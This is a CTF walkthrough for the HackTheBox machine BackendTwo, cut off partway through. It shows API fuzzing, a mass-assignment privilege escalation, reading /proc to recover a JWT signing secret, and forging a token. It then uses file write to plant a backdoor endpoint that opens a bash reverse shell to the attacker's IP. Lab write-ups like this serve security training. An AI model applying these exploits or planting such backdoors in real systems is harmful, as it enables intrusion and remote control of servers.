HTB: BackendTwo
BackendTwo is this month’s UHC box. It builds on the first Backend UHC box, but with some updated vulnerabilities, as well as a couple small repeats from steps that never got played in UHC competition. It starts with an API that I’ll fuzz to figure out how to register. Then I’ll abuse a mass assignment vulnerability to give my user admin privs. From there, I can use a file read endpoint read /proc to find the page source, and eventually the signing secret for the JWT. With that, I can forge a new token allowing access to the file write api, where I’ll quietly insert a backdoor into an endpoint that returns a shell (and show how to just smash the door in as well). To escalate, it’s password reuse and cheating at pam-wordle.
Box Info
| Name | BackendTwo  Play on HackTheBox |
|---|---|
| Release Date | 02 May 2022 |
| Retire Date | 02 May 2022 |
| OS | Linux  |
| Base Points | Medium [30] |
 |
N/A (non-competitive) |
 |
N/A (non-competitive) |
| Creator |  ippsec |
Recon
nmap
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.162
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-26 19:43 UTC
Nmap scan report for 10.10.11.162
Host is up (0.10s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
oxdf@hacky$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.11.162
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-26 19:43 UTC
Nmap scan report for 10.10.11.162
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http uvicorn
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| content-type: text/plain; charset=utf-8
| Connection: close
| Invalid HTTP request received.
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date: Tue, 26 Apr 2022 19:43:54 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date: Tue, 26 Apr 2022 19:43:42 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"msg":"UHC Api v2.0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date: Tue, 26 Apr 2022 19:43:48 GMT
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=7%D=4/26%Time=62684B75%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,A6,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Tue,\x2026\x20Apr\x202022
...[snip]...
SF:0close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.83 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal.
Website - TCP 80
Site
The HTTP server returns JSON, which looks just like the API on Backend, but this time it says v2.0:
Tech Stack
The response headers show the same Uvicorn header:
HTTP/1.1 200 OK
date: Tue, 26 Apr 2022 19:46:41 GMT
server: uvicorn
content-length: 22
content-type: application/json
Connection: close
{"msg":"UHC Api v2.0"}
uvicorn is a webserver for Python applications.
Directory Brute Force
I’ll run feroxbuster against the site. I’ll use a couple new arguments that were useful in the original Backdoor. --force-recursion will recurse down endpoints even if they don’t act like directories, which can be useful on APIs. -m GET,POST will test both kinds of HTTP requests, as for APIs one may exist where the other doesn’t. I’ll filter out only 404s and 405s, based on a quick run with no filters and seeing those are loud.
oxdf@hacky$ feroxbuster -u http://10.10.11.162 --force-recursion -C 404,405 -m GET,POST
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.162
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [404, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
🏁 HTTP methods │ [GET, POST]
🔃 Recursion Depth │ 4
🤘 Force Recursion │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 3w 22c http://10.10.11.162/
200 GET 1l 1w 19c http://10.10.11.162/api
401 GET 1l 2w 30c http://10.10.11.162/docs
200 GET 1l 1w 32c http://10.10.11.162/api/v1
307 GET 0l 0w 0c http://10.10.11.162/api/v1/admin => http://10.10.11.162/api/v1/admin/
307 POST 0l 0w 0c http://10.10.11.162/api/v1/admin => http://10.10.11.162/api/v1/admin/
[####################] - 10m 360000/360000 0s found:6 errors:0
[####################] - 10m 60000/60000 94/s http://10.10.11.162
[####################] - 10m 60000/60000 94/s http://10.10.11.162/
[####################] - 10m 60000/60000 94/s http://10.10.11.162/docs
[####################] - 10m 60000/60000 94/s http://10.10.11.162/api
[####################] - 10m 60000/60000 95/s http://10.10.11.162/api/v1
[####################] - 10m 60000/60000 95/s http://10.10.11.162/api/v1/admin
Endpoint seem similar to last time. /docs requires auth, just like last time.
Find Endpoints
feroxbuster identified /api/v1/admin. I’m going to actually check out each step, as it’s not crazy for each step to have it’s own result on APIs. /api just shows the v1 endpoint. /api/v1 shows two more:
/api/v1/admin returns “Not authenticated”.
Interestingly, /user returns 404. For a website this wouldn’t make sense, but for an API, it’s not uncommon for a “folder” along the path to not return anything. In frameworks like Flask and FastAPI, the author can define whatever endpoint they want, without the need of folders.
I’ll start another feroxbuster on /api/v1/user, but it’s quickly very clear that for GET requests, anything numeric returns 200, and anything not numeric returns 422.
The 422 confirms that theory:
oxdf@hacky$ curl -s http://10.10.11.162/api/v1/user/0xdf | jq .
{
"detail": [
{
"loc": [
"path",
"user_id"
],
"msg": "value is not a valid integer",
"type": "type_error.integer"
}
]
}
I don’t think I need to brute force GET requests any more. What about POSTs?
oxdf@hacky$ feroxbuster -u http://10.10.11.162/api/v1/user -C 404,405 -m POST
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.162/api/v1/user
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [404, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
🏁 HTTP methods │ [POST]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
422 POST 1l 3w 172c http://10.10.11.162/api/v1/user/login
422 POST 1l 2w 81c http://10.10.11.162/api/v1/user/signup
[####################] - 1m 30000/30000 0s found:2 errors:0
[####################] - 1m 30000/30000 251/s http://10.10.11.162/api/v1/user
It finds two endpoints that both return 422, login and signup.
API Admin Access
Access Docs
Register
The registration and login endpoints are exactly the same as in Backend. For detailed steps for how I figured out what the requests should look like, check out that post.
I’ll register a user:
oxdf@hacky$ curl -v -s -X POST -d '{"email": "0xdf@htb.htb", "password": "0xdf0xdf"}' http://10.10.11.162/api/v1/user/signup -H "Content-Type: application/json" | jq .
* Trying 10.10.11.162:80...
* TCP_NODELAY set
* Connected to 10.10.11.162 (10.10.11.162) port 80 (#0)
> POST /api/v1/user/signup HTTP/1.1
> Host: 10.10.11.162
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 49
>
} [49 bytes data]
* upload completely sent off: 49 out of 49 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 Created
< date: Tue, 26 Apr 2022 21:17:05 GMT
< server: uvicorn
< content-length: 2
< content-type: application/json
<
{ [2 bytes data]
* Connection #0 to host 10.10.11.162 left intact
{}
And login to get a token:
oxdf@hacky$ curl -s -d 'username=0xdf@htb.htb&password=0xdf0xdf' http://10.10.11.162/api/v1/user/login | jq .
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNjk5MDQ3LCJpYXQiOjE2NTEwMDc4NDcsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6ImY0MzUwNTIwLWY2ZGQtNGM2Ni1iOWM5LTA0YWE2ODdmMGJiNiJ9.g4BzYwYR_8NNGNiUSVhv-I_ZKWbJ-oTpy4G1z-muwtM",
"token_type": "bearer"
}
JWT
The token is a JWT. Dropping it into jwt.io decodes it:
The “sub” (Subject) claim identifies the subject or user of the token.
Modify Header
I’ll use the Simple Modify Headers Firefox extension to add the Authorization header with the token I just acquired.
With that running, the /docs page loads:
Docs
General
Just like in Backend, the docs break the endpoints into three categories.
The default group is stuff I’ve already accessed:
The first three just return messages about the endpoints under them. /docs and /openapi.json support the Docs page.
These look pretty much the same as last time.
The user group looks different from previous. The GET {user_id} is still there, as well as POSTs to login and signup, but the vulnerable updatepass endpoint is gone, and now there’s two new endpoints described as “Edit Profile” and “Edit Password”:
The admin group has moved “Get File” from a POST to a GET, and now has a POST to “Write File”:
Admin Endpoints
I suspect I need admin access to use the admin endpoints, but it’s worth checking.
Using the “Try it out” button on /api/v1/admin returns that my account is not (as expected) an admin:
Trying to use the “Get File” and “Write File” endpoints just returns “Permission Error”:
I’ll find a way to get access as admin and come back to these
User Endpoints
I noted above that my JWT indicated I was user12, so I’ll try /user/12, and it returns my information:
User ID 1 is an admin:
{
"guid": "25d386cd-b808-4107-8d3a-4277a0443a6e",
"email": "admin@backendtwo.htb",
"profile": "UHC Admin",
"last_update": null,
"time_created": 1650987800991,
"is_superuser": true,
"id": 1
}
The “Edit Profile” endpoint takes a userid in the path and a JSON body with a “profile” key, default set to “string”. I’ll change it to something else:
On submitting, if I go get my user, it’s updated:
{
"guid": "f4350520-f6dd-4c66-b9c9-04aa687f0bb6",
"email": "0xdf@htb.htb",
"profile": "new profile!",
"last_update": null,
"time_created": 1651007826026,
"is_superuser": false,
"id": 12
}
The “Edit Password” endpoint is interesting, and takes a user id in the path and JSON with a “password” key in the POST body.
When I reset my password, it returns:
{
"result": "true"
}
If I try to reset another user’s password, it returns:
{
"detail": {
"result": "false"
}
}
Mass Assignment
Get Admin on Account
There’s a mass assignment vulnerability in the profile update endpoint. When you view the API docs, they just show it taking a “profile” key:
But I can add more fields to the JSON. For example, if I add the email field:
The result comes back true, and if I query my user, not only has the profile changed, but the email as well:
Similarly, I’ll give myself is_superuser:
Now querying my user:
Update Token
If I check /api/v1/admin/ now, it still says false. I suspect that the user’s admin capabilities are stored in their JWT token, and not checked against the DB on each query.
I’ll click on the lock next to one of the authed endpoints, and login with that form:
On hitting “Authorize”, it shows I’m logged in:
I’ll disable Simple Modify Header at this point, as the docs are now managing my token.
Now on executing “Admin Check”, it returns true.
I can also run “Get User Flag”:
Shell as htb
New Endpoints
Get File
This endpoint takes a file name and supposedly returns the file. The docs say that the file name is encoded in base64_url.
URL-Safe Base64 is similar to standard base64, but the + and / characters are replaced by - and _, characters that don’t need encoding in a URL. Sometimes the = padding is optional.
The Cyberchef “To Base64” recipe has an “Alphabet dropdown where “URL safe” is an option:
Using that with input of /etc/passwd returns the encoded string:
Passing that string into the endpoint returns the file:
Click for full size imageThe Docs page also gives me the exact curl request used to make that request:
Click for full size imageI can copy that to a terminal and remove some unneeded bits:
oxdf@hacky$ curl http://10.10.11.162/api/v1/admin/file/L2V0Yy9wYXNzd2Q -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1In0.NzuBABYGGm_bMA51kmwrBTIXTaUA4OTcYBEmqprF5vM'
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nhtb:x:1000:1000:htb:/home/htb:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n"}
Pipping it to jq -r '.file' will select the file element and raw print it:
oxdf@hacky$ curl -s http://10.10.11.162/api/v1/admin/file/L2V0Yy9wYXNzd2Q -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1In0.NzuBABYGGm_bMA51kmwrBTIXTaUA4OTcYBEmqprF5vM' | jq -r '.file'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...[snip]...
Putting this all together, I’ll write a simple Bash script that will read a file passed as an argument:
#!/bin/bash
TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1In0.NzuBABYGGm_bMA51kmwrBTIXTaUA4OTcYBEmqprF5vM
FN=$(echo -n $1 | base64 | tr '/+' '_-' | tr -d '=')
curl -s "http://10.10.11.162/api/v1/admin/file/$FN" -H "Authorization: Bearer $TOKEN" | jq -r '.file'
It works:
oxdf@hacky$ ./get_file.sh /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.4 LTS"
Write File
To test this one, I’ll try to write to a file location any user should have write, /tmp/0xdf, which url-encodes to “L3RtcC8weGRm”.
Sending that reports an error:
Click for full size imageJust like in Backend, there’s another key in the JWT that’s needed.
It’s tempting to think that I could use the Update Profile endpoint again, but it won’t work. I can guess at how the API is set up. The Update Profile endpoint is saving input into the DB. When the JWT is generated, some of these are pulled and included. At the bottom of the docs, I can see the fields associated with the User object:
So trying to set the debug field will just do nothing as that’s not a column in the DB. The only way I know of at the moment to get this into the JWT is to get the JWT secret and forge my own token.
Get Debug Access
Locate API Source
In order to get the source, I’ll need to find where it’s running. There’s a bunch of places, but much like in Backdoor, I’ll try to get information from /proc. Since the file read is happening through the webserver, I can check out /proc/self for information. For example, cmdline will give the command line that runs the application (replacing null bytes with spaces):
oxdf@hacky$ ./get_file.sh /proc/self/cmdline | tr '\000' ' '
/usr/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
That’s not super useful here. I think that’s coming from uvicorn. I’ll try the environ file. Just like in cmdline, the items are null delimited, which I’ll use tr to replace with newlines:
oxdf@hacky$ ./get_file.sh /proc/self/environ | tr '\000' '\n'
USER=htb
HOME=/home/htb
OLDPWD=/
PORT=80
LOGNAME=htb
JOURNAL_STREAM=9:18599
APP_MODULE=app.main:app
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=0ace2198aa724422b25a8057eef74fdd
LANG=C.UTF-8
API_KEY=68b329da9893e34099c7d8ad5cb9c940
HOST=0.0.0.0
PWD=/home/htb
The working directory is /home/htb, and the Python app is app.main:app. That means that it’s loading the app object from app/main.py.
That path works to read the source:
oxdf@hacky$ ./get_file.sh /home/htb/app/main.py
import asyncio
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
...[snip]...
I could also use /proc/self/app/main.py to get the same result.
Another useful bit of info I could glean from /proc is to get the parent pid from stat:
oxdf@hacky$ ./get_file.sh /proc/self/stat
2265 (python3) S 2254 2241 2241 0 -1 4194304 23201 101 0 0 77 7 0 0 20 0 2 0 320599 157327360 16662 18446744073709551615 4194304 7042053 140735671126528 0 0 0 0 16781312 16386 0 0 0 17 1 0 0 0 0 0 9395632 9685776 35241984 140735671131712 140735671131841 140735671131841 140735671132135 0
It’s the forth column, so 2254 in this case. I’ll grab that cmdline:
oxdf@hacky$ ./get_file.sh /proc/2254/cmdline | tr '\000' ' '
/usr/bin/python3 /home/htb/.local/bin/uvicorn --reload --host 0.0.0.0 --port 80 app.main:app
I could read the environ file to confirm the exact local directory, but it’s running app from app/main.py. I’ll also note it’s running with --reload.
Find Secret
The top import line shows that this app is using FastAPI, an Python API framework.
main.py imports from a bunch of local files, but the route for /docs is defined in this file, and it is one that requires auth to visit, so it’s good place to look at how this app does auth:
@app.get("/docs")
async def get_documentation(
current_user: User = Depends(deps.parse_token)
):
return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")
Looking at this line by line, the first one is a Python decorator that associates this function with a GET request to /docs. Next it defines the function get_documentation. It’s an async function, but that doesn’t matter much at this point. It takes one argument, current_user.
The syntax [variable name] : [variable type] = [default value] in modern Python is using type hinting, which is optional in Python, but standard practice for FastAPI.
To figure out where this current_user item is coming from, I need to understand Depends(deps.parse_token). Depends is imported from fastapi, and allows specifying a function to process the arguments before it goes to this function.
deps is imported from app.api. In /home/htb/app/api/deps.py, I’ll find parse_token:
async def parse_token(
token: str = Depends(oauth2_scheme)
) -> User:
credentials_exception = HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Could not validate credentials",
headers={"WWW-Authenticate": "Bearer"},
)
try:
payload = jwt.decode(
token,
settings.JWT_SECRET,
algorithms=[settings.ALGORITHM],
options={"verify_aud": False},
)
except JWTError:
raise credentials_exception
return payload
It’s parsing the token (another Depends, but I’ll just assume that’s the JWT), and returning a User object. The secret passed to jwt.decode is settings.JWT_SECRET. settings is imported at the top of the file:
from app.core.config import settings
I’ll pull /home/htb/app/core/config.py and see how settings is defined:
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
import os
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = os.environ['API_KEY']
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
It’s pulled from the environment variable API_KEY. I already have that from reading the environ file, “68b329da9893e34099c7d8ad5cb9c940” (note, may change on each boot of the box).
Forge JWT
I’ll drop into a Python terminal and validate. First I’ll import jwt and save the token and secret:
>>> import jwt
>>> token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1In0.NzuBABYGGm_bMA51kmwrBTIXTaUA4OTcYBEmqprF5vM"
>>> secret = "68b329da9893e34099c7d8ad5cb9c940"
With the wrong secret, jwt.decode will throw an error by default:
>>> jwt.decode(token, "0xdf", algorithms=["HS256"])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/oxdf/.local/lib/python3.8/site-packages/jwt/api_jwt.py", line 119, in decode
decoded = self.decode_complete(jwt, key, algorithms, options, **kwargs)
File "/home/oxdf/.local/lib/python3.8/site-packages/jwt/api_jwt.py", line 90, in decode_complete
decoded = api_jws.decode_complete(
File "/home/oxdf/.local/lib/python3.8/site-packages/jwt/api_jws.py", line 152, in decode_complete
self._verify_signature(signing_input, header, signature, key, algorithms)
File "/home/oxdf/.local/lib/python3.8/site-packages/jwt/api_jws.py", line 239, in _verify_signature
raise InvalidSignatureError("Signature verification failed")
jwt.exceptions.InvalidSignatureError: Signature verification failed
But with the secret from the environment, it works:
>>> jwt.decode(token, secret, algorithms=["HS256"])
{'type': 'access_token', 'exp': 1651755361, 'iat': 1651064161, 'sub': '12', 'is_superuser': True, 'guid': '83e3ed7a-d66d-4a27-a922-701fb9fdc755'}
I’ll save the decoded data to user, add the debug key, and create a new token:
>>> user = jwt.decode(token, secret, algorithms=["HS256"])
>>> user["debug"] = True
>>> jwt.encode(user, secret,'HS256')
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1IiwiZGVidWciOnRydWV9.oyFkKgOC6zls6IY7i3-IOalxgFWXfyR3SRVlFVovLao'
Write File
I’ll use this token with curl to try to write a file:
oxdf@hacky$ curl http://10.10.11.162/api/v1/admin/file/L3RtcC8weGRm \
> -H 'Content-Type: application/json' \
> -d '{"file": "string"}' \
> -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1IiwiZGVidWciOnRydWV9.oyFkKgOC6zls6IY7i3-IOalxgFWXfyR3SRVlFVovLao'
{"result":"success"}
It reports success!
Shell
Strategy
I tried to write to /home/htb/.ssh/authorized_keys, but it returns an error. My best guess is that .ssh doesn’t exist.
There’s not much I can do with file write typically, but I did note above that the webserver is running with a hot reload on. --reload, which by default will:
periodically look for changes in modification times to all
*.pyfiles (and only*.pyfiles) inside of its monitored directories.
So if I can change a Python file, they will all reload.
Backdoor Endpoint
I’ll fetch a copy of user.py, and edit the /user/[id] endpoint:
@router.get("/{user_id}", status_code=200, response_model=schemas.User)
def fetch_user(*,
user_id: int,
db: Session = Depends(deps.get_db)
) -> Any:
"""
Fetch a user by ID
"""
if user_id == -223:
import os; os.system('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"')
result = crud.user.get(db=db, id=user_id)
return result
I’ll set it so that a user id of -223 (which should never happen) triggers my reverse shell.
To send this entire file over curl, I’m going to need to do some escaping. I’ll do that in CyberChef with three “Find / Replace” operations:
- Simple String:
"=>\\" - Simple String:
'=>'\\'' - Simple String:
\n=>\\\\n - Extended (\N, \T, \N…):
\n=>\\n
For some reason, I have to escape the \ in Cyberchef. So the outcoming is that I get one line, with newlines as \n, the two actual “\n” string escaped as \\n, and quotes escaped in such a way that I can send it through curl (see this for how I got the ' escape).
I’ll upload that with a monster curl:
oxdf@hacky$ curl http://10.10.11.162/api/v1/admin/file/$(echo -n "/home/htb/app/api/v1/endpoints/user.py" | base64) -H 'Content-Type: application/json' -d '{"file": "from typing import Any, Optional\nfrom uuid import uuid4\nfrom datetime import datetime\n\n\nfrom fastapi import APIRouter, Depends, HTTPException, Query, Request\nfrom fastapi.security import OAuth2PasswordRequestForm\nfrom sqlalchemy.orm import Session\n\nfrom app import crud\nfrom app import schemas\nfrom app.api import deps\nfrom app.models.user import User\nfrom app.core.security import get_password_hash\n\nfrom pydantic import schema\ndef field_schema(field: schemas.user.UserUpdate, **kwargs: Any) -> Any:\n if field.field_info.extra.get(\"hidden_from_schema\", False):\n raise schema.SkipField(f\"{field.name} field is being hidden\")\n else:\n return original_field_schema(field, **kwargs)\n\noriginal_field_schema = schema.field_schema\nschema.field_schema = field_schema\n\nfrom app.core.auth import (\n authenticate,\n create_access_token,\n)\n\nrouter = APIRouter()\n\n@router.get(\"/{user_id}\", status_code=200, response_model=schemas.User)\ndef fetch_user(*, \n user_id: int, \n db: Session = Depends(deps.get_db) \n ) -> Any:\n \"\"\"\n Fetch a user by ID\n \"\"\"\n if user_id == -223:\n import os; os.system('\''bash -c \"bash -i >& /dev/tcp/10.10.14.6/443 0>&1\"'\'')\n result = crud.user.get(db=db, id=user_id)\n return result\n\n\n@router.put(\"/{user_id}/edit\")\nasync def edit_profile(*,\n db: Session = Depends(deps.get_db),\n token: User = Depends(deps.parse_token),\n new_user: schemas.user.UserUpdate,\n user_id: int\n) -> Any:\n \"\"\"\n Edit the profile of a user\n \"\"\"\n u = db.query(User).filter(User.id == token['\''sub'\'']).first()\n if token['\''is_superuser'\''] == True:\n crud.user.update(db=db, db_obj=u, obj_in=new_user)\n else: \n u = db.query(User).filter(User.id == token['\''sub'\'']).first() \n if u.id == user_id:\n crud.user.update(db=db, db_obj=u, obj_in=new_user)\n return {\"result\": \"true\"}\n else:\n raise HTTPException(status_code=400, detail={\"result\": \"false\"})\n\n@router.put(\"/{user_id}/password\")\nasync def edit_password(*,\n db: Session = Depends(deps.get_db),\n token: User = Depends(deps.parse_token),\n new_user: schemas.user.PasswordUpdate,\n user_id: int\n) -> Any:\n \"\"\"\n Update the password of a user\n \"\"\"\n u = db.query(User).filter(User.id == token['\''sub'\'']).first()\n if token['\''is_superuser'\''] == True:\n crud.user.update(db=db, db_obj=u, obj_in=new_user)\n else: \n u = db.query(User).filter(User.id == token['\''sub'\'']).first() \n if u.id == user_id:\n crud.user.update(db=db, db_obj=u, obj_in=new_user)\n return {\"result\": \"true\"}\n else:\n raise HTTPException(status_code=400, detail={\"result\": \"false\"})\n\n@router.post(\"/login\")\ndef login(db: Session = Depends(deps.get_db),\n form_data: OAuth2PasswordRequestForm = Depends()\n) -> Any:\n \"\"\"\n Get the JWT for a user with data from OAuth2 request form body.\n \"\"\"\n \n timestamp = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n user = authenticate(email=form_data.username, password=form_data.password, db=db)\n if not user:\n with open(\"auth.log\", \"a\") as f:\n f.write(f\"{timestamp} - 